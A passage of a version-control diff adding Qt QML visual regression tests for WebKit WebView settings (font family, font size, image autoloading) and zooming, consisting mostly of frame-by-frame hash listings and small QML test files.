} + Frame { + msec: 560 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 576 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 592 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 608 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 624 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 640 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 656 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 672 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 688 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 704 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 720 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 736 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 752 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 768 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 784 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 800 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 816 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 832 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 848 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 864 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 880 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 896 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 912 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 928 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 944 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 960 + image: "fontSize.0.png" + } + Frame { + msec: 976 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 992 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1008 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1024 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1040 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1056 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1072 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1088 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1104 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1120 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1136 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1152 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1168 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1184 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1200 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1216 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1232 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1248 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1264 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1280 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1296 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1312 + hash: "962e77f522956d38f3b1b890df749f0a" + } + Frame { + msec: 1328 + hash: "962e77f522956d38f3b1b890df749f0a" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png new file mode 100644 index 0000000..48920a2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png new file mode 100644 index 0000000..48920a2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.1.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml new file mode 100644 index 0000000..ead5c3b --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/data/noAutoLoadImages.qml @@ -0,0 +1,595 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 32 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 48 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 64 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 80 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 96 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 112 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 128 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 144 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 160 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 176 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 192 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 208 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 224 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 240 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 256 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 272 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 288 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 304 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 320 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 336 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 352 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 368 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 384 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 400 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 416 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 432 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 448 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 464 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 480 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 496 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 512 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 528 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 544 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 560 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 576 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 592 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 608 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 624 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 640 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 656 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 672 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 688 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 704 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 720 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 736 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 752 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 768 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 784 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 800 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 816 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 832 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 848 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 864 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 880 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 896 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 912 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 928 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 944 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 960 + image: "noAutoLoadImages.0.png" + } + Frame { + msec: 976 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 992 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1008 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1024 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1040 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1056 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1072 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1088 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1104 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1120 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1136 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1152 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1168 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1184 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1200 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1216 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1232 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1248 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1264 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1280 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1296 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1312 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1328 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1344 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1360 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1376 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1392 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1408 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1424 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1440 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1456 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1472 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1488 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1504 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1520 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1536 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1552 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1568 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1584 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1600 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1616 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1632 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1648 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1664 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1680 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1696 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1712 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1728 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1744 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1760 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1776 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1792 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1808 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1824 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1840 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1856 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1872 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1888 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1904 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1920 + image: "noAutoLoadImages.1.png" + } + Frame { + msec: 1936 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1952 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1968 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 1984 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2000 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2016 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2032 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2048 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2064 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2080 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2096 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2112 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2128 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2144 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2160 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2176 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2192 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2208 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2224 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2240 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2256 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2272 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2288 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2304 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2320 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2336 + hash: "5146cfbeefc51268eca7717d84775750" + } + Frame { + msec: 2352 + hash: "5146cfbeefc51268eca7717d84775750" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png new file mode 100644 index 0000000..f3c621a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml new file mode 100644 index 0000000..cf74d42 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/data/setFontFamily.qml @@ -0,0 +1,351 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 32 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 48 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 64 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 80 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 96 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 112 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 128 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 144 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 160 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 176 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 192 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 208 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 224 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 240 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 256 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 272 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 288 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 304 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 320 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 336 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 352 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 368 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 384 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 400 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 416 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 432 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 448 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 464 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 480 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 496 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 512 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 528 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 544 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 560 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 576 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 592 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 608 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 624 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 640 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 656 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 672 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 688 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 704 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 720 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 736 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 752 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 768 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 784 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 800 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 816 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 832 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 848 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 864 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 880 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 896 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 912 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 928 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 944 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 960 + image: "setFontFamily.0.png" + } + Frame { + msec: 976 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 992 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1008 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1024 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1040 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1056 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1072 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1088 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1104 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1120 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1136 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1152 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1168 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1184 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1200 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1216 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1232 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1248 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1264 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1280 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1296 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1312 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1328 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1344 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1360 + hash: "7ef8bb83c146898bd75de8951a932b58" + } + Frame { + msec: 1376 + hash: "7ef8bb83c146898bd75de8951a932b58" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml new file mode 100644 index 0000000..f547b0e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/fontFamily.qml @@ -0,0 +1,17 @@ +import Qt 4.6 +import org.webkit 1.0 + +WebView { + id: web + width: 200 + height: 200 + Column { + anchors.fill: parent + Text { text: "standard: " + web.settings.standardFontFamily } + Text { text: "fixed: " + web.settings.fixedFontFamily } + Text { text: "serif: " + web.settings.serifFontFamily } + Text { text: "sansserif: " + web.settings.sansSerifFontFamily } + Text { text: "cursive: " + web.settings.cursiveFontFamily } + Text { text: "fantasy: " + web.settings.fantasyFontFamily } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml b/tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml new file mode 100644 index 0000000..7eaa96b --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/fontSize.qml @@ -0,0 +1,71 @@ +import Qt 4.6 +import org.webkit 1.0 + +Grid { + columns: 3 + Rectangle { + Text { color: "green"; text: "Normal" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + url: "test.html" + } + } + Rectangle { + Text { color: "green"; text: "Big" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + url: "test.html" + settings.minimumFontSize: 20 + } + } + Rectangle { + Text { color: "green"; text: "Big (logical)" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + url: "test.html" + settings.minimumLogicalFontSize: 20 + } + } + Rectangle { + Text { color: "green"; text: "Bigger" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + url: "test.html" + settings.minimumFontSize: 30 + } + } + Rectangle { + Text { color: "green"; text: "Small (except fixed)" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + url: "test.html" + settings.defaultFontSize: 8 + } + } + Rectangle { + Text { color: "green"; text: "Small fixed" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + url: "test.html" + settings.defaultFixedFontSize: 8 + } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml b/tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml new file mode 100644 index 0000000..67f1633 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/noAutoLoadImages.qml @@ -0,0 +1,21 @@ +import Qt 4.6 +import org.webkit 1.0 + +Grid { + columns: 2 + Rectangle { + Text { id: label; x:10; y:170; color: "green"; text: "No image" } + border.color: "black" + width: 200 + height: 200 + WebView { + anchors.fill: parent + settings.autoLoadImages: false + url: "test-img.html" + MouseArea { + anchors.fill: parent + onClicked: { parent.settings.autoLoadImages=true; label.text=""; parent.reload.trigger() } + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png b/tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png new file mode 100644 index 0000000..399bd0b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/qtlogo.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml b/tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml new file mode 100644 index 0000000..823469f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/setFontFamily.qml @@ -0,0 +1,11 @@ +import Qt 4.6 +import org.webkit 1.0 + +WebView { + url: "test.html" + width: 300 + height: 300 + settings.standardFontFamily: font.name + // WebKit doesn't seem to honour any other FontFamily settings + FontLoader { id: font; source: "tarzeau_ocr_a.ttf" } +} diff --git a/tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf b/tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf new file mode 100644 index 0000000..cf93f96 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/settings/tarzeau_ocr_a.ttf differ diff --git a/tests/auto/declarative/qmlvisual/webview/settings/test-img.html b/tests/auto/declarative/qmlvisual/webview/settings/test-img.html new file mode 100644 index 0000000..cdd63ac --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/test-img.html @@ -0,0 +1,6 @@ + + +

Boring Document

+

+This is a boring document. +With a picture: diff --git a/tests/auto/declarative/qmlvisual/webview/settings/test.html b/tests/auto/declarative/qmlvisual/webview/settings/test.html new file mode 100644 index 0000000..3265e20 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/settings/test.html @@ -0,0 +1,9 @@ + + +

Boring Document

+

+This is a boring document. +

+This is italic. +This is bold. +This is fixed. diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml new file mode 100644 index 0000000..1a993e1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/pageWidth.qml @@ -0,0 +1,227 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 32 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 48 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 64 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 80 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 96 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 112 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 128 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 144 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 160 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 176 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 192 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 208 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 224 + hash: 